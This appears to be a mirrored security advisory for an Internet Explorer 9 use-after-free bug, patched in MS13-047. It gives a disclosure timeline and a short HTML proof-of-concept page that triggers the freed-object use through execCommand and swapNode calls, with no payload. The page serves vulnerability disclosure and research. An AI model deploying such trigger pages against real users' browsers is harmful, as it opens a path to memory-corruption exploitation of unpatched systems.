Microsoft Internet Explorer 9 - IEFRAME CSelectionInteractButtonBehavior::_UpdateButtonLocation Use-After-Free (MS13-047)

🗓️ 12 Dec 2016 00:00:00Reported by SkylinedType

Microsoft Internet Explorer 9 - IEFRAME CSelectionInteractButtonBehavior::_UpdateButtonLocation Use-After-Free vulnerability disclosed in MS13-04

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Source: http://blog.skylined.nl/20161212001.html

Synopsis
A specially crafted web-page can trigger a use-after-free vulnerability in Microsoft Internet Explorer 9. I did not investigate this vulnerability thoroughly, so I cannot speculate on the potential impact or exploitability.

Known affected software and attack vectors
Microsoft Internet Explorer 9
An attacker would need to get a target user to open a specially crafted web-page. Disabling JavaScript should prevent an attacker from triggering the vulnerable code path.
Details
This bug was found back when I had very little knowledge and tools to do analysis on use-after-free bugs, so I have no details to share. EIP revealed that this was a use-after-free vulnerability. I have included a number of reports created using a predecessor of BugId below.

Repro.html:
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<!DOCTYPE html>
<html>
  <head>
    <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" >
    <script>
      function go() {
        document.execCommand('SelectAll');
        document.execCommand('superscript');
        setTimeout(function() {
          oSupElement=document.getElementsByTagName('sup')[0];
          oSupElement.swapNode(document.documentElement);
        }, 0);
      }
    </script>
  </head>
  <body onload="go()">
    <address></address>
    <fieldset></fieldset>
  </body>
</html>

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Time-line
27 September 2012: This vulnerability was found through fuzzing.
3 December 2012: This vulnerability was submitted to EIP.
10 December 2012: This vulnerability was rejected by EIP.
12 December 2012: This vulnerability was submitted to ZDI.
25 January 2013: This vulnerability was acquired by ZDI.
15 February 2013: This vulnerability was disclosed to Microsoft by ZDI.
27 June 2013: This vulnerability was address by Microsoft in MS13-047.
12 December 2016: Details of this vulnerability are released.
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12 Dec 2016 00:00Current

7.4High risk

Vulners AI Score7.4

Microsoft Internet Explorer 9 - IEFRAME CSelection­Interact­Button­Behavior::_Update­Button­Location Use-After-Free (MS13-047)

Microsoft Internet Explorer 9 - IEFRAME CSelectionInteractButtonBehavior::_UpdateButtonLocation Use-After-Free (MS13-047)